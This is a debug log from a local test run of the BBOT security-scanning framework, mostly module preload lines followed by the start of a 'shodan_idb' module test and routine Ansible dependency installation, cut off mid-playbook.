12:12:13,722 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-02-11 12:12:13,723 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-02-11 12:12:13,723 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-02-11 12:12:13,724 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-02-11 12:12:13,726 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-02-11 12:12:13,726 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-02-11 12:12:13,727 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-02-11 12:12:13,728 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-02-11 12:12:13,728 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-02-11 12:12:13,729 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-02-11 12:12:13,730 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-02-11 12:12:13,731 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-02-11 12:12:13,731 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-02-11 12:12:13,732 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-02-11 12:12:13,733 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-02-11 12:12:13,733 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-02-11 12:12:13,734 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-02-11 12:12:13,735 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-02-11 12:12:13,736 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-02-11 12:12:13,736 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-02-11 12:12:13,737 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-02-11 12:12:13,742 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-02-11 12:12:13,742 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-02-11 12:12:13,743 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-02-11 12:12:13,744 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-02-11 12:12:13,745 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-02-11 12:12:13,745 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-02-11 12:12:13,746 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-02-11 12:12:13,747 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-02-11 12:12:13,747 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-02-11 12:12:13,748 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-02-11 12:12:13,749 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-02-11 12:12:13,749 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-02-11 12:12:13,751 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-02-11 12:12:13,752 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-02-11 12:12:13,753 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-02-11 12:12:13,754 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-02-11 12:12:13,754 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-02-11 12:12:13,755 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-02-11 12:12:13,756 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-02-11 12:12:13,756 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-02-11 12:12:13,757 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-02-11 12:12:13,758 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-02-11 12:12:13,758 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-02-11 12:12:13,759 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-02-11 12:12:13,759 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-02-11 12:12:13,760 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-02-11 12:12:13,762 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-02-11 12:12:13,762 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-02-11 12:12:13,763 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-02-11 12:12:13,764 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-02-11 12:12:13,765 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-02-11 12:12:13,765 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-02-11 12:12:13,766 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-02-11 12:12:13,767 [DEBUG] bbot.module_loader modules.py:154 Preloading helloworld from disk -2026-02-11 12:12:13,767 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/helloworld.py as it is not a valid BBOT module -2026-02-11 12:12:13,767 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-02-11 12:12:13,768 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-02-11 12:12:13,769 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-02-11 12:12:13,771 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-02-11 12:12:13,772 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-02-11 12:12:13,773 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-02-11 12:12:13,773 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-02-11 12:12:13,774 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-02-11 12:12:13,775 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-02-11 12:12:13,775 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-02-11 12:12:13,776 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-02-11 12:12:13,777 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-02-11 12:12:13,777 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-02-11 12:12:13,778 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-02-11 12:12:13,779 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-02-11 12:12:13,779 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-02-11 12:12:13,780 [DEBUG] bbot.module_loader modules.py:152 Preloading wappalyzer from cache -2026-02-11 12:12:13,781 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-02-11 12:12:13,782 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-02-11 12:12:13,783 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/templates -2026-02-11 12:12:13,784 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/internal -2026-02-11 12:12:13,784 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-02-11 12:12:13,785 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-02-11 12:12:13,785 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-02-11 12:12:13,786 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-02-11 12:12:13,787 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-02-11 12:12:13,788 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-02-11 12:12:13,788 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz -2026-02-11 12:12:13,789 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-02-11 12:12:13,790 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/report -2026-02-11 12:12:13,791 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-02-11 12:12:13,792 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-02-27 14:39:54,639 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz -2026-02-27 14:39:54,645 [DEBUG] bbot.module_loader modules.py:154 Preloading lightfuzz from disk -2026-02-27 14:39:54,649 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/internal -2026-02-27 14:39:54,649 [DEBUG] bbot.module_loader modules.py:154 Preloading aggregate from disk -2026-02-27 14:39:54,650 [DEBUG] bbot.module_loader modules.py:154 Preloading cloudcheck from disk -2026-02-27 14:39:54,652 [DEBUG] bbot.module_loader modules.py:154 Preloading excavate from disk -2026-02-27 14:39:54,661 [DEBUG] bbot.module_loader modules.py:154 Preloading speculate from disk -2026-02-27 14:39:54,663 [DEBUG] bbot.module_loader modules.py:154 Preloading unarchive from disk -2026-02-27 14:39:54,665 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsresolve from disk -2026-02-27 14:39:54,667 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/output -2026-02-27 14:39:54,668 [DEBUG] bbot.module_loader modules.py:154 Preloading web_parameters from disk -2026-02-27 14:39:54,669 [DEBUG] bbot.module_loader modules.py:154 Preloading discord from disk -2026-02-27 14:39:54,671 [DEBUG] bbot.module_loader modules.py:154 Preloading emails from disk -2026-02-27 14:39:54,672 [DEBUG] bbot.module_loader modules.py:154 Preloading teams from disk -2026-02-27 14:39:54,673 [DEBUG] bbot.module_loader modules.py:154 Preloading txt from disk -2026-02-27 14:39:54,674 [DEBUG] bbot.module_loader modules.py:154 Preloading neo4j from disk -2026-02-27 14:39:54,676 [DEBUG] bbot.module_loader modules.py:154 Preloading asset_inventory from disk -2026-02-27 14:39:54,680 [DEBUG] bbot.module_loader modules.py:154 Preloading sqlite from disk -2026-02-27 14:39:54,681 [DEBUG] bbot.module_loader modules.py:154 Preloading web_report from disk -2026-02-27 14:39:54,682 [DEBUG] bbot.module_loader modules.py:154 Preloading http from disk -2026-02-27 14:39:54,683 [DEBUG] bbot.module_loader modules.py:154 Preloading csv from disk -2026-02-27 14:39:54,684 [DEBUG] bbot.module_loader modules.py:154 Preloading postgres from disk -2026-02-27 14:39:54,685 [DEBUG] bbot.module_loader modules.py:154 Preloading python from disk -2026-02-27 14:39:54,686 [DEBUG] bbot.module_loader modules.py:154 Preloading subdomains from disk -2026-02-27 14:39:54,687 [DEBUG] bbot.module_loader modules.py:154 Preloading stdout from disk -2026-02-27 14:39:54,688 [DEBUG] bbot.module_loader modules.py:154 Preloading nmap_xml from disk -2026-02-27 14:39:54,690 [DEBUG] bbot.module_loader modules.py:154 Preloading json from disk -2026-02-27 14:39:54,691 [DEBUG] bbot.module_loader modules.py:154 Preloading slack from disk -2026-02-27 14:39:54,692 [DEBUG] bbot.module_loader modules.py:154 Preloading splunk from disk -2026-02-27 14:39:54,693 [DEBUG] bbot.module_loader modules.py:154 Preloading mysql from disk -2026-02-27 14:39:54,694 [DEBUG] bbot.module_loader modules.py:154 Preloading websocket from disk -2026-02-27 14:39:54,695 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/deadly -2026-02-27 14:39:54,696 [DEBUG] bbot.module_loader modules.py:154 Preloading legba from disk -2026-02-27 14:39:54,698 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules -2026-02-27 14:39:54,698 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-27 14:39:54,699 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-27 14:39:54,699 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-27 14:39:54,700 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-27 14:39:54,701 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-27 14:39:54,702 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-27 14:39:54,702 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-27 14:39:54,705 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-27 14:39:54,705 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-27 14:39:54,707 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-27 14:39:54,707 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-27 14:39:54,708 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-27 14:39:54,709 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-27 14:39:54,710 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-27 14:39:54,710 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-27 14:39:54,711 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-02-27 14:39:54,711 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules -2026-02-27 14:39:54,711 [DEBUG] bbot.module_loader modules.py:154 Preloading urlscan from disk -2026-02-27 14:39:54,713 [DEBUG] bbot.module_loader modules.py:154 Preloading jadx from disk -2026-02-27 14:39:54,714 [DEBUG] bbot.module_loader modules.py:154 Preloading trufflehog from disk -2026-02-27 14:39:54,717 [DEBUG] bbot.module_loader modules.py:154 Preloading host_header from disk -2026-02-27 14:39:54,719 [DEBUG] bbot.module_loader modules.py:154 Preloading securitytxt from disk -2026-02-27 14:39:54,720 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsdumpster from disk -2026-02-27 14:39:54,721 [DEBUG] bbot.module_loader modules.py:154 Preloading bevigil from disk -2026-02-27 14:39:54,723 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_google from disk -2026-02-27 14:39:54,724 [DEBUG] bbot.module_loader modules.py:154 Preloading git from disk -2026-02-27 14:39:54,725 [DEBUG] bbot.module_loader modules.py:154 Preloading azure_realm from disk -2026-02-27 14:39:54,726 [DEBUG] bbot.module_loader modules.py:154 Preloading extractous from disk -2026-02-27 14:39:54,729 [DEBUG] bbot.module_loader modules.py:154 Preloading credshed from disk -2026-02-27 14:39:54,731 [DEBUG] bbot.module_loader modules.py:154 Preloading fullhunt from disk -2026-02-27 14:39:54,731 [DEBUG] bbot.module_loader modules.py:154 Preloading social from disk -2026-02-27 14:39:54,732 [DEBUG] bbot.module_loader modules.py:154 Preloading pgp from disk -2026-02-27 14:39:54,733 [DEBUG] bbot.module_loader modules.py:154 Preloading azure_tenant from disk -2026-02-27 14:39:54,735 [DEBUG] bbot.module_loader modules.py:154 Preloading virustotal from disk -2026-02-27 14:39:54,736 [DEBUG] bbot.module_loader modules.py:154 Preloading vhost from disk -2026-02-27 14:39:54,737 [DEBUG] bbot.module_loader modules.py:154 Preloading shodan_enterprise from disk -2026-02-27 14:39:54,739 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsbrute from disk -2026-02-27 14:39:54,740 [DEBUG] bbot.module_loader modules.py:154 Preloading shodan_dns from disk -2026-02-27 14:39:54,741 [DEBUG] bbot.module_loader modules.py:154 Preloading ip2location from disk -2026-02-27 14:39:54,742 [DEBUG] bbot.module_loader modules.py:154 Preloading rapiddns from disk -2026-02-27 14:39:54,743 [DEBUG] bbot.module_loader modules.py:154 Preloading wpscan from disk -2026-02-27 14:39:54,746 [DEBUG] bbot.module_loader modules.py:154 Preloading dnscommonsrv from disk -2026-02-27 14:39:54,746 [DEBUG] bbot.module_loader modules.py:154 Preloading passivetotal from disk -2026-02-27 14:39:54,747 [DEBUG] bbot.module_loader modules.py:154 Preloading ntlm from disk -2026-02-27 14:39:54,749 [DEBUG] bbot.module_loader modules.py:154 Preloading trickest from disk -2026-02-27 14:39:54,750 [DEBUG] bbot.module_loader modules.py:154 Preloading google_playstore from disk -2026-02-27 14:39:54,751 [DEBUG] bbot.module_loader modules.py:154 Preloading github_usersearch from disk -2026-02-27 14:39:54,752 [DEBUG] bbot.module_loader modules.py:154 Preloading subdomainradar from disk -2026-02-27 14:39:54,754 [DEBUG] bbot.module_loader modules.py:154 Preloading dockerhub from disk -2026-02-27 14:39:54,755 [DEBUG] bbot.module_loader modules.py:154 Preloading medusa from disk -2026-02-27 14:39:54,757 [DEBUG] bbot.module_loader modules.py:154 Preloading digitorus from disk -2026-02-27 14:39:54,758 [DEBUG] bbot.module_loader modules.py:154 Preloading wafw00f from disk -2026-02-27 14:39:54,759 [DEBUG] bbot.module_loader modules.py:154 Preloading generic_ssrf from disk -2026-02-27 14:39:54,761 [DEBUG] bbot.module_loader modules.py:154 Preloading filedownload from disk -2026-02-27 14:39:54,765 [DEBUG] bbot.module_loader modules.py:154 Preloading chaos from disk -2026-02-27 14:39:54,766 [DEBUG] bbot.module_loader modules.py:154 Preloading httpx from disk -2026-02-27 14:39:54,769 [DEBUG] bbot.module_loader modules.py:154 Preloading baddns_zone from disk -2026-02-27 14:39:54,770 [DEBUG] bbot.module_loader modules.py:154 Preloading graphql_introspection from disk -2026-02-27 14:39:54,771 [DEBUG] bbot.module_loader modules.py:154 Preloading paramminer_headers from disk -2026-02-27 14:39:54,773 [DEBUG] bbot.module_loader modules.py:154 Preloading securitytrails from disk -2026-02-27 14:39:54,774 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_microsoft from disk -2026-02-27 14:39:54,775 [DEBUG] bbot.module_loader modules.py:154 Preloading viewdns from disk -2026-02-27 14:39:54,776 [DEBUG] bbot.module_loader modules.py:154 Preloading url_manipulation from disk -2026-02-27 14:39:54,778 [DEBUG] bbot.module_loader modules.py:154 Preloading ffuf_shortnames from disk -2026-02-27 14:39:54,781 [DEBUG] bbot.module_loader modules.py:154 Preloading censys_ip from disk -2026-02-27 14:39:54,783 [DEBUG] bbot.module_loader modules.py:154 Preloading builtwith from disk -2026-02-27 14:39:54,785 [DEBUG] bbot.module_loader modules.py:154 Preloading certspotter from disk -2026-02-27 14:39:54,785 [DEBUG] bbot.module_loader modules.py:154 Preloading sslcert from disk -2026-02-27 14:39:54,788 [DEBUG] bbot.module_loader modules.py:154 Preloading gitdumper from disk -2026-02-27 14:39:54,790 [DEBUG] bbot.module_loader modules.py:154 Preloading shodan_idb from disk -2026-02-27 14:39:54,792 [DEBUG] bbot.module_loader modules.py:154 Preloading hackertarget from disk -2026-02-27 14:39:54,793 [DEBUG] bbot.module_loader modules.py:154 Preloading c99 from disk -2026-02-27 14:39:54,793 [DEBUG] bbot.module_loader modules.py:154 Preloading newsletters from disk -2026-02-27 14:39:54,794 [DEBUG] bbot.module_loader modules.py:154 Preloading apkpure from disk -2026-02-27 14:39:54,795 [DEBUG] bbot.module_loader modules.py:154 Preloading crt from disk -2026-02-27 14:39:54,796 [DEBUG] bbot.module_loader modules.py:154 Preloading postman_download from disk -2026-02-27 14:39:54,797 [DEBUG] bbot.module_loader modules.py:154 Preloading hunt from disk -2026-02-27 14:39:54,798 [DEBUG] bbot.module_loader modules.py:154 Preloading ffuf from disk -2026-02-27 14:39:54,801 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsbrute_mutations from disk -2026-02-27 14:39:54,803 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_firebase from disk -2026-02-27 14:39:54,804 [DEBUG] bbot.module_loader modules.py:154 Preloading nuclei from disk -2026-02-27 14:39:54,808 [DEBUG] bbot.module_loader modules.py:154 Preloading censys_dns from disk -2026-02-27 14:39:54,809 [DEBUG] bbot.module_loader modules.py:154 Preloading retirejs from disk -2026-02-27 14:39:54,811 [DEBUG] bbot.module_loader modules.py:154 Preloading git_clone from disk -2026-02-27 14:39:54,812 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_amazon from disk -2026-02-27 14:39:54,813 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_digitalocean from disk -2026-02-27 14:39:54,814 [DEBUG] bbot.module_loader modules.py:154 Preloading skymem from disk -2026-02-27 14:39:54,814 [DEBUG] bbot.module_loader modules.py:154 Preloading hunterio from disk -2026-02-27 14:39:54,815 [DEBUG] bbot.module_loader modules.py:154 Preloading paramminer_cookies from disk -2026-02-27 14:39:54,816 [DEBUG] bbot.module_loader modules.py:154 Preloading postman from disk -2026-02-27 14:39:54,818 [DEBUG] bbot.module_loader modules.py:154 Preloading code_repository from disk -2026-02-27 14:39:54,819 [DEBUG] bbot.module_loader modules.py:154 Preloading gitlab_com from disk -2026-02-27 14:39:54,820 [DEBUG] bbot.module_loader modules.py:154 Preloading dnstlsrpt from disk -2026-02-27 14:39:54,821 [DEBUG] bbot.module_loader modules.py:154 Preloading baddns from disk -2026-02-27 14:39:54,823 [DEBUG] bbot.module_loader modules.py:154 Preloading subdomaincenter from disk -2026-02-27 14:39:54,824 [DEBUG] bbot.module_loader modules.py:154 Preloading wayback from disk -2026-02-27 14:39:54,825 [DEBUG] bbot.module_loader modules.py:154 Preloading ipstack from disk -2026-02-27 14:39:54,826 [DEBUG] bbot.module_loader modules.py:154 Preloading emailformat from disk -2026-02-27 14:39:54,827 [DEBUG] bbot.module_loader modules.py:154 Preloading fingerprintx from disk -2026-02-27 14:39:54,828 [DEBUG] bbot.module_loader modules.py:154 Preloading dnscaa from disk -2026-02-27 14:39:54,829 [DEBUG] bbot.module_loader modules.py:154 Preloading bypass403 from disk -2026-02-27 14:39:54,831 [DEBUG] bbot.module_loader modules.py:154 Preloading leakix from disk -2026-02-27 14:39:54,832 [DEBUG] bbot.module_loader modules.py:154 Preloading paramminer_getparams from disk -2026-02-27 14:39:54,833 [DEBUG] bbot.module_loader modules.py:154 Preloading reflected_parameters from disk -2026-02-27 14:39:54,834 [DEBUG] bbot.module_loader modules.py:154 Preloading crt_db from disk -2026-02-27 14:39:54,835 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_file_enum from disk -2026-02-27 14:39:54,836 [DEBUG] bbot.module_loader modules.py:154 Preloading portscan from disk -2026-02-27 14:39:54,839 [DEBUG] bbot.module_loader modules.py:154 Preloading baddns_direct from disk -2026-02-27 14:39:54,840 [DEBUG] bbot.module_loader modules.py:154 Preloading ajaxpro from disk -2026-02-27 14:39:54,841 [DEBUG] bbot.module_loader modules.py:154 Preloading telerik from disk -2026-02-27 14:39:54,844 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsbimi from disk -2026-02-27 14:39:54,845 [DEBUG] bbot.module_loader modules.py:154 Preloading aspnet_bin_exposure from disk -2026-02-27 14:39:54,846 [DEBUG] bbot.module_loader modules.py:154 Preloading otx from disk -2026-02-27 14:39:54,847 [DEBUG] bbot.module_loader modules.py:154 Preloading github_codesearch from disk -2026-02-27 14:39:54,848 [DEBUG] bbot.module_loader modules.py:154 Preloading dehashed from disk -2026-02-27 14:39:54,850 [DEBUG] bbot.module_loader modules.py:154 Preloading gowitness from disk -2026-02-27 14:39:54,853 [DEBUG] bbot.module_loader modules.py:154 Preloading docker_pull from disk -2026-02-27 14:39:54,855 [DEBUG] bbot.module_loader modules.py:154 Preloading ipneighbor from disk -2026-02-27 14:39:54,856 [DEBUG] bbot.module_loader modules.py:154 Preloading bufferoverrun from disk -2026-02-27 14:39:54,857 [DEBUG] bbot.module_loader modules.py:154 Preloading gitlab_onprem from disk -2026-02-27 14:39:54,859 [DEBUG] bbot.module_loader modules.py:154 Preloading iis_shortnames from disk -2026-02-27 14:39:54,862 [DEBUG] bbot.module_loader modules.py:154 Preloading badsecrets from disk -2026-02-27 14:39:54,864 [DEBUG] bbot.module_loader modules.py:154 Preloading myssl from disk -2026-02-27 14:39:54,864 [DEBUG] bbot.module_loader modules.py:154 Preloading github_workflows from disk -2026-02-27 14:39:54,867 [DEBUG] bbot.module_loader modules.py:154 Preloading dotnetnuke from disk -2026-02-27 14:39:54,869 [DEBUG] bbot.module_loader modules.py:154 Preloading smuggler from disk -2026-02-27 14:39:54,869 [DEBUG] bbot.module_loader modules.py:154 Preloading robots from disk -2026-02-27 14:39:54,870 [DEBUG] bbot.module_loader modules.py:154 Preloading anubisdb from disk -2026-02-27 14:39:54,871 [DEBUG] bbot.module_loader modules.py:154 Preloading oauth from disk -2026-02-27 14:39:54,873 [DEBUG] bbot.module_loader modules.py:154 Preloading github_org from disk -2026-02-27 14:39:54,875 [DEBUG] bbot.module_loader modules.py:154 Preloading portfilter from disk -2026-02-27 14:39:54,876 [DEBUG] bbot.module_loader modules.py:154 Preloading sitedossier from disk -2026-02-27 14:39:54,877 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/report -2026-02-27 14:39:54,877 [DEBUG] bbot.module_loader modules.py:154 Preloading asn from disk -2026-02-27 14:39:54,880 [DEBUG] bbot.module_loader modules.py:154 Preloading affiliates from disk -2026-02-27 14:39:54,881 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/templates -2026-02-27 14:39:56,703 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector -2026-02-27 14:39:56,703 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector -2026-02-27 14:39:56,704 [INFO] bbot base.py:99 Starting shodan_idb module test -2026-02-27 14:39:56,799 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-02-27 14:39:57,183 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_idb" of type "scan" -2026-02-27 14:39:57,183 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-02-27 14:39:57,183 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-02-27 14:39:57,183 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-02-27 14:39:57,318 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-02-27 14:39:57,319 [DEBUG] bbot base.py:103 Mocking DNS -2026-02-27 14:39:57,430 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-02-27 14:39:57,430 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-02-27 14:39:57,456 [HUGEINFO] bbot.scanner logger.py:151 Scan seeded with 1 targets (1 in whitelist) -2026-02-27 14:39:57,460 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-02-27 14:39:57,460 [HUGEVERBOSE] bbot.core.helpers.command logger.py:151 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/bin/ansible-galaxy collection install community.general -2026-02-27 14:39:58,870 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-02-27 14:39:58,871 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-02-27 14:40:04,137 [SUCCESS] bbot.core.helpers.depsinstaller logger.py:151 Authentication successful -2026-02-27 14:40:04,138 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-02-27 14:40:04,138 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers 